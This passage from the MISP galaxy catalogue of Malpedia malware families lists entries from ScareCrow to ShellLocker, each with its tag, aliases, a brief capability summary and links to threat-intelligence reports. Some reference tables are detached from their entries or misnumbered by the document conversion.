<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.scarab_ransom">https://malpedia.caad.fkie.fraunhofer.de/details/win.scarab_ransom</a></td>
</tr>
</tbody>
</table>

**ScareCrow**

Based on the leaked Conti source code.

The tag is: `misp-galaxy:malpedia="ScareCrow"`

ScareCrow is also known as:

*Table 4057. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.scarecrow">https://malpedia.caad.fkie.fraunhofer.de/details/win.scarecrow</a></td>
</tr>
</tbody>
</table>
Schneiken

Schneiken is a VBS ‘Double-dropper’. It comes with two RATs embedded in the code (Dunihi and Ratty). Entire code is Base64 encoded.

The tag is: `misp-galaxy:malpedia="Schneiken"`

Schneiken is also known as:

Table 4058. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.schneiken">https://malpedia.caad.fkie.fraunhofer.de/details/win.schneiken</a></td>
</tr>
<tr>
<td><a href="https://engineering.salesforce.com/malware-analysis-new-trojan-double-dropper-5ed0a943adb">https://engineering.salesforce.com/malware-analysis-new-trojan-double-dropper-5ed0a943adb</a></td>
</tr>
<tr>
<td><a href="https://github.com/vithakur/schneiken">https://github.com/vithakur/schneiken</a></td>
</tr>
</tbody>
</table>

Scieron

The Chinese threat actor has used a custom backdoor dubbed "Scieron" over years in several campaigns according to SentinelLABS.

The tag is: `misp-galaxy:malpedia="Scieron"`

Scieron is also known as:

Table 4059. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.scieron">https://malpedia.caad.fkie.fraunhofer.de/details/win.scieron</a></td>
</tr>
<tr>
<td><a href="https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview">https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview</a></td>
</tr>
</tbody>
</table>

Scote

The tag is: `misp-galaxy:malpedia="Scote"`

Scote is also known as:

Table 4060. Table References
**Scranos**

The tag is: `misp-galaxy:malpedia="Scranos"`

Scranos is also known as:

*Table 4061. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.scranos">https://malpedia.caad.fkie.fraunhofer.de/details/win.scranos</a></td>
</tr>
</tbody>
</table>

**ScreenCap**

SentinelOne describes this malware as capable of doing screen capture and keylogging. It is uses by a threat cluster they named WIP19, targeting telecommunications and IT service providers in the Middle East and Asia.

The tag is: `misp-galaxy:malpedia="ScreenCap"`

ScreenCap is also known as:

*Table 4062. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.screencap">https://malpedia.caad.fkie.fraunhofer.de/details/win.screencap</a></td>
</tr>
</tbody>
</table>

**ScreenLocker**

The tag is: `misp-galaxy:malpedia="ScreenLocker"`

ScreenLocker is also known as:

*Table 4063. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
### ScrubCrypt

ScrubCrypt is the rebranded "Jlaive" crypter, with a unique capability of .BAT packing

The tag is: `misp-galaxy:malpedia="ScrubCrypt"`

ScrubCrypt is also known as:

Table 4064. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.scrubcrypter">https://malpedia.caad.fkie.fraunhofer.de/details/win.scrubcrypter</a></td>
</tr>
<tr>
<td><a href="https://0xtoxin.github.io/threat%20breakdown/ScrubCrypt-Rebirth-Of-Jlaive/">https://0xtoxin.github.io/threat%20breakdown/ScrubCrypt-Rebirth-Of-Jlaive/</a></td>
</tr>
<tr>
<td><a href="https://perception-point.io/blog/the-rebranded-crypter-scrubcrypt/">https://perception-point.io/blog/the-rebranded-crypter-scrubcrypt/</a></td>
</tr>
</tbody>
</table>

### SDBbot

The tag is: `misp-galaxy:malpedia="SDBbot"`

SDBbot is also known as:

Table 4065. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/">https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/a-brief-history-of-ta505">https://intel471.com/blog/a-brief-history-of-ta505</a></td>
</tr>
</tbody>
</table>
Backdoor written in Python 2, deployed with PyInstaller.

The tag is: *misp-galaxy:malpedia=* "SEADADDY"

SEADADDY is also known as:

- SeaDuke
- Seadask

Table 4066. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.seadaddy">https://malpedia.caad.fkie.fraunhofer.de/details/win.seadaddy</a></td>
</tr>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=6ab66701-25d7-4685-ae9d-93d63708a11c&amp;CommunityKey=1ecf5f5-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments">https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=6ab66701-25d7-4685-ae9d-93d63708a11c&amp;CommunityKey=1ecf5f5-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments</a></td>
</tr>
<tr>
<td><a href="https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html">https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/">https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/</a></td>
</tr>
<tr>
<td><a href="https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/">https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/">https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/</a></td>
</tr>
</tbody>
</table>
SeaSalt

The tag is: misp-galaxy:malpedia="SeaSalt"

SeaSalt is also known as:

Table 4067. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.seasalt

SectopRAT

SectopRAT, aka ArechClient2, is a .NET RAT with numerous capabilities including multiple stealth functions. Arechclient2 can profile victim systems, steal information such as browser and cryptocurrency wallet data, and launch a hidden secondary desktop to control browser sessions. Additionally, it has several anti-VM and anti-emulator capabilities.

The tag is: misp-galaxy:malpedia="SectopRAT"

SectopRAT is also known as:

- 1xxbot
- ArechClient

Table 4068. Table References

Links

- https://malpedia.caad.fkie.fraunhofer.de/details/win.sectop_rat
- https://vxhive.blogspot.com/2021/01/deep-dive-into-sectoprat.html
- https://cyberflorida.org/2022/11/arechclient2/
- https://tampabay.tech/2022/11/30/arechclient2/
- https://medium.com/@gi7w0rm/a-long-way-to-sectoprat-eb2f0aad6ec8
- https://www.gdatasoftware.com/blog/2021/02/36633-new-version-adds-encrypted-communication
- https://dr4k0nia.github.io/posts/Analysing-a-sample-of-ArechClient2/
SeDll
The tag is: misp-galaxy:malpedia="SeDll"

SeDll is also known as:

Table 4069. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sedll">https://malpedia.caad.fkie.fraunhofer.de/details/win.sedll</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-mohawk">https://www.secureworks.com/research/threat-profiles/bronze-mohawk</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/chinese-threat-actor-tempperiscope/">https://www.recordedfuture.com/chinese-threat-actor-tempperiscope/</a></td>
</tr>
</tbody>
</table>

Sedreco
The tag is: misp-galaxy:malpedia="Sedreco"

Sedreco is also known as:

• azzy
• eviltoss

Table 4070. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sedreco">https://malpedia.caad.fkie.fraunhofer.de/details/win.sedreco</a></td>
</tr>
<tr>
<td><a href="https://contagiodump.blogspot.de/2017/02/russian-apt28-collection-of-samples.html">https://contagiodump.blogspot.de/2017/02/russian-apt28-collection-of-samples.html</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-twilight">https://www.secureworks.com/research/threat-profiles/iron-twilight</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/">https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/</a></td>
</tr>
<tr>
<td><a href="http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf">http://www2.fireeye.com/rs/fireye/images/rpt-apt28.pdf</a></td>
</tr>
<tr>
<td><a href="http://www.malware-reversing.com/2012/12/3-disclosure-of-another-0day-malware_15.html">http://www.malware-reversing.com/2012/12/3-disclosure-of-another-0day-malware_15.html</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/">https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/</a></td>
</tr>
</tbody>
</table>
Seduploader

simple tool to facilitate download and persistence of a next-stage tool; collects system information and metadata probably in an attempt to tell sandbox-environments apart from real targets on the server-side; uses domains of search engines like Google to check for Internet connectivity; XOR-based string obfuscation with a 16-byte key

The tag is: misp-galaxy:malpedia="Seduploader"

Seduploader is also known as:

- GAMEFISH
- carberplike
- downrage
- jhuhugit
- jkeyskw

Table 4071. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.seduploader">https://malpedia.caad.fkie.fraunhofer.de/details/win.seduploader</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/">https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-twilight">https://www.secureworks.com/research/threat-profiles/iron-twilight</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/">https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/</a></td>
</tr>
<tr>
<td><a href="https://www.emanueledelucia.net/apt28-sofacy-seduploader-under-the-christmas-tree/">https://www.emanueledelucia.net/apt28-sofacy-seduploader-under-the-christmas-tree/</a></td>
</tr>
<tr>
<td><a href="http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/">http://www.welivesecurity.com/2015/07/10/sednit-apt-group-meets-hacking-team/</a></td>
</tr>
</tbody>
</table>
seinup

The tag is: misp-galaxy:malpedia="seinup"

seinup is also known as:

Table 4072. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.seinup">https://malpedia.caad.fkie.fraunhofer.de/details/win.seinup</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2013/06/trojan-apt-seinup-hitting-asean.html">https://www.fireeye.com/blog/threat-research/2013/06/trojan-apt-seinup-hitting-asean.html</a></td>
</tr>
</tbody>
</table>

Sekhmet

According to PCrisk, Sekhmet is ransomware. This malicious program operates by encrypting data and demanding ransom payments for decryption. During the encryption process, all affected files are appended with an extension, consisting of random characters (e.g. ".HrU5sw", ".WNgh", ".NdWfEr", etc.).

The tag is: misp-galaxy:malpedia="Sekhmet"

Sekhmet is also known as:

Table 4073. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sekhmet">https://malpedia.caad.fkie.fraunhofer.de/details/win.sekhmet</a></td>
</tr>
<tr>
<td><a href="https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/">https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/</a></td>
</tr>
<tr>
<td><a href="https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html">https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/03/sekhmet-ransomware.html">https://id-ransomware.blogspot.com/2020/03/sekhmet-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis">https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis</a></td>
</tr>
</tbody>
</table>
SelfMake Loader

The tag is: *misp-galaxy:malpedia*="SelfMake Loader"

SelfMake Loader is also known as:

Table 4074. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.selfmake">https://malpedia.caad.fkie.fraunhofer.de/details/win.selfmake</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/8th_grey_owl/status/1481433481485844483">https://twitter.com/8th_grey_owl/status/1481433481485844483</a></td>
</tr>
</tbody>
</table>

SendSafe

The tag is: *misp-galaxy:malpedia*="SendSafe"

SendSafe is also known as:

Table 4075. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sendsafe">https://malpedia.caad.fkie.fraunhofer.de/details/win.sendsafe</a></td>
</tr>
</tbody>
</table>

SepSys

Ransomware.

The tag is: *misp-galaxy:malpedia*="SepSys"

SepSys is also known as:

- Silvertor Ransomware

Table 4076. Table References
**Sepulcher**

The tag is: `misp-galaxy:malpedia="Sepulcher"`

Sepulcher is also known as:

*Table 4077. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sepulcher">https://malpedia.caad.fkie.fraunhofer.de/details/win.sepulcher</a></td>
</tr>
</tbody>
</table>

**SerialVlogger**

This malware is protected using VMProtect and related to the loading of KEYPLUG.

The tag is: `misp-galaxy:malpedia="SerialVlogger"`

SerialVlogger is also known as:

*Table 4078. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.serialvlogger">https://malpedia.caad.fkie.fraunhofer.de/details/win.serialvlogger</a></td>
</tr>
</tbody>
</table>

**Serpico**

The tag is: `misp-galaxy:malpedia="Serpico"`

Serpico is also known as:

*Table 4079. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.serpico">https://malpedia.caad.fkie.fraunhofer.de/details/win.serpico</a></td>
</tr>
</tbody>
</table>
ServHelper

ServHelper is written in Delphi and according to ProofPoint best classified as a backdoor.

ProofPoint noticed two distinct variant - "tunnel" and "downloader" (citation): "The 'tunnel' variant has more features and focuses on setting up reverse SSH tunnels to allow the threat actor to access the infected host via Remote Desktop Protocol (RDP). Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to 'hijack' legitimate user accounts or their web browser profiles and use them as they see fit. The 'downloader' variant is stripped of the tunneling and hijacking functionality and is used as a basic downloader."

The tag is: misp-galaxy:malpedia=“ServHelper”

ServHelper is also known as:

Table 4080. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.servhelper">https://malpedia.caad.fkie.fraunhofer.de/details/win.servhelper</a></td>
</tr>
<tr>
<td><a href="https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/">https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/a-brief-history-of-ta505">https://intel471.com/blog/a-brief-history-of-ta505</a></td>
</tr>
<tr>
<td><a href="https://ti.360.net/blog/articles/excel-4.0-macro-utilized-by-ta505-to-target-financial-institutions-recently-en/">https://ti.360.net/blog/articles/excel-4.0-macro-utilized-by-ta505-to-target-financial-institutions-recently-en/</a></td>
</tr>
<tr>
<td><a href="https://prodaft.com/m/reports/TeslaGun_TLPWHITE.pdf">https://prodaft.com/m/reports/TeslaGun_TLPWHITE.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.prodaft.com/m/reports/TeslaGun_TLPWHITE.pdf">https://www.prodaft.com/m/reports/TeslaGun_TLPWHITE.pdf</a></td>
</tr>
<tr>
<td><a href="https://insights.oem.avira.com/ta505-apt-group-targets-americas/">https://insights.oem.avira.com/ta505-apt-group-targets-americas/</a></td>
</tr>
<tr>
<td><a href="https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/">https://www.deepinstinct.com/2019/04/02/new-servhelper-variant-employs-excel-4-0-macro-to-drop-signed-payload/</a></td>
</tr>
<tr>
<td><a href="https://www.binarydefense.com/an-updated-servhelper-tunnel-variant/">https://www.binarydefense.com/an-updated-servhelper-tunnel-variant/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-tahoe">https://www.secureworks.com/research/threat-profiles/gold-tahoe</a></td>
</tr>
</tbody>
</table>
SessionManager

A malicious IIS module that allows up/download of files, remote command execution, and using the compromised server as a hop into the network behind.

The tag is: `misp-galaxy:malpedia="SessionManager"`

SessionManager is also known as:

Table 4081. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.session_manager">https://malpedia.caad.fkie.fraunhofer.de/details/win.session_manager</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-sessionmanager-iis-backdoor/106868/">https://securelist.com/the-sessionmanager-iis-backdoor/106868/</a></td>
</tr>
</tbody>
</table>

Sfile

Ransomware

The tag is: `misp-galaxy:malpedia="Sfile"`

Sfile is also known as:

- Escal
- Morseop

Table 4082. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sfile">https://malpedia.caad.fkie.fraunhofer.de/details/win.sfile</a></td>
</tr>
</tbody>
</table>
shadowhammer

The tag is: *misp-galaxy:malpedia=“shadowhammer”*

shadowhammer is also known as:

- DAYJOB

Table 4083. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowhammer">https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowhammer</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/">https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=T5wPwvLrBYU">https://www.youtube.com/watch?v=T5wPwvLrBYU</a></td>
</tr>
<tr>
<td><a href="https://blog.f-secure.com/a-hammer-lurking-in-the-shadows/">https://blog.f-secure.com/a-hammer-lurking-in-the-shadows/</a></td>
</tr>
<tr>
<td><a href="https://norfolkinfosec.com/possible-shadowhammer-targeting-low-confidence/">https://norfolkinfosec.com/possible-shadowhammer-targeting-low-confidence/</a></td>
</tr>
<tr>
<td><a href="https://norfolkinfosec.com/the-first-stage-of-shadowhammer/">https://norfolkinfosec.com/the-first-stage-of-shadowhammer/</a></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/forging-the-shadowhammer">https://blog.reversinglabs.com/blog/forging-the-shadowhammer</a></td>
</tr>
<tr>
<td><a href="https://countercept.com/blog/analysis-shadowhammer-asus-attack-first-stage-payload/">https://countercept.com/blog/analysis-shadowhammer-asus-attack-first-stage-payload/</a></td>
</tr>
<tr>
<td><a href="https://mauronz.github.io/shadowhammer-backdoor">https://mauronz.github.io/shadowhammer-backdoor</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/operation-shadowhammer/89992/">https://securelist.com/operation-shadowhammer/89992/</a></td>
</tr>
</tbody>
</table>

ShadowPad

The tag is: *misp-galaxy:malpedia=“ShadowPad”*

ShadowPad is also known as:
• POISONPLUG.SHADOW
• XShellGhost

Table 4084. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad">https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/d8b749f2">https://community.riskiq.com/article/d8b749f2</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=_fstHQS-Kkk">https://www.youtube.com/watch?v=_fstHQS-Kkk</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/">https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/shadowpad-malware-analysis">https://www.secureworks.com/research/shadowpad-malware-analysis</a></td>
</tr>
<tr>
<td><a href="https://medium.com/insomniacs/its-a-bee-it-s-a-no-it-s-shadowpad-aff6a970a1c2">https://medium.com/insomniacs/its-a-bee-it-s-a-no-it-s-shadowpad-aff6a970a1c2</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=r1zAVX_HnJg">https://www.youtube.com/watch?v=r1zAVX_HnJg</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2022/09/06/worok-big-picture/">https://www.welivesecurity.com/2022/09/06/worok-big-picture/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>---------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html">https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html</a></td>
</tr>
<tr>
<td><a href="https://www.theregister.com/2022/04/08/china_sponsored_attacks_india_ukraine/">https://www.theregister.com/2022/04/08/china_sponsored_attacks_india_ukraine/</a></td>
</tr>
<tr>
<td><a href="https://www.recordedfuture.com/continued-targeting-of-indian-power-grid-assets/">https://www.recordedfuture.com/continued-targeting-of-indian-power-grid-assets/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/">https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/groups/G0096">https://attack.mitre.org/groups/G0096</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=IRh6R8o1Q7U">https://www.youtube.com/watch?v=IRh6R8o1Q7U</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/">https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/">https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/apt-trends-report-q3-2020/99204/">https://securelist.com/apt-trends-report-q3-2020/99204/</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=55kaaMGBARM">https://www.youtube.com/watch?v=55kaaMGBARM</a></td>
</tr>
<tr>
<td><a href="https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/">https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/</a></td>
</tr>
</tbody>
</table>
Shakti

The tag is: `misp-galaxy:malpedia="Shakti"`

Shakti is also known as:

Table 4085. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shakti">https://malpedia.caad.fkie.fraunhofer.de/details/win.shakti</a></td>
</tr>
</tbody>
</table>

SHAPESHIFT

The tag is: `misp-galaxy:malpedia="SHAPESHIFT"`

SHAPESHIFT is also known as:

Table 4086. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shapeshift">https://malpedia.caad.fkie.fraunhofer.de/details/win.shapeshift</a></td>
</tr>
</tbody>
</table>

shareip

The tag is: `misp-galaxy:malpedia="shareip"`

shareip is also known as:

- remotecmd
**Shark**

The tag is: `misp-galaxy:malpedia="Shark"`

Shark is also known as:

**SharpBeacon**

*NRT reimplementation of Cobalt Strike beacon/stager*

The tag is: `misp-galaxy:malpedia="SharpBeacon"`

SharpBeacon is also known as:

**SHARPKNOT**

The tag is: `misp-galaxy:malpedia="SHARPKNOT"`

SHARPKNOT is also known as:

- Bitrep

---

**Table 407. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shareip">https://malpedia.caad.fkie.fraunhofer.de/details/win.shareip</a></td>
</tr>
</tbody>
</table>

**Table 408. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shark">https://malpedia.caad.fkie.fraunhofer.de/details/win.shark</a></td>
</tr>
</tbody>
</table>

**Table 409. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/mai1zhi2/SharpBeacon">https://github.com/mai1zhi2/SharpBeacon</a></td>
</tr>
</tbody>
</table>

**Table 410. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://eromang.zataz.com/tag/agentbase-exe/">https://eromang.zataz.com/tag/agentbase-exe/</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf">https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf</a></td>
</tr>
</tbody>
</table>
SharpMapExec

This tool is made to simplify penetration testing of networks and to create a Swiss-army knife that is made for running on Windows which is often a requirement during insider threat simulation engagements.

The tag is: misp-galaxy:malpedia="SharpMapExec"

SharpMapExec is also known as:

Table 4091. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpmapexec">https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpmapexec</a></td>
</tr>
<tr>
<td><a href="https://github.com/cube0x0/SharpMapExec">https://github.com/cube0x0/SharpMapExec</a></td>
</tr>
</tbody>
</table>

SharpStage

The SharpStage backdoor is a .NET malware with backdoor capabilities. Its name is a derivative of the main activity class called “Stage_One”. SharpStage can take screenshots, run arbitrary commands and downloads additional payloads. It exfiltrates data from the infected machine to a dropbox account by implementing a dropbox client in its code. SharpStage was seen used by the Molerats group in targeted attacks in the middle east.

The tag is: misp-galaxy:malpedia="SharpStage"

SharpStage is also known as:

- LastConn

Table 4092. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpstage">https://malpedia.caad.fkie.fraunhofer.de/details/win.sharpstage</a></td>
</tr>
<tr>
<td><a href="https://www.0ffset.net/reverse-engineering/malware-analysis/molerats-string-decryption/">https://www.0ffset.net/reverse-engineering/malware-analysis/molerats-string-decryption/</a></td>
</tr>
</tbody>
</table>

SHARPSTATS

The tag is: misp-galaxy:malpedia="SHARPSTATS"

SHARPSTATS is also known as:

Table 4093. Table References
ShellClient RAT

The tag is: misp-galaxy:malpedia="ShellClient RAT"

ShellClient RAT is also known as:

- GhostShell

Table 4094. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.shellclient">https://malpedia.caad.fkie.fraunhofer.de/details/win.shellclient</a></td>
</tr>
</tbody>
</table>

ShellLocker

PCRIsk states that ShellLocker is a ransomware-type virus developed using .NET framework. It was first discovered by Jakub Kroustek and is virtually identical to another ransomware virus called Exotic.

Following infiltration, this virus encrypts stored data (video, audio, etc.) and renames encrypted files using the "[random_characters].L0cked" pattern (e.g., "sample.jpg" might be renamed to "gd&=AA0fgol.L0cked"). Following successful encryption, ShellLocker opens a pop-up window containing ransom-demand message.

The tag is: misp-galaxy:malpedia="ShellLocker"

ShellLocker is also known as:

Table 4095. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
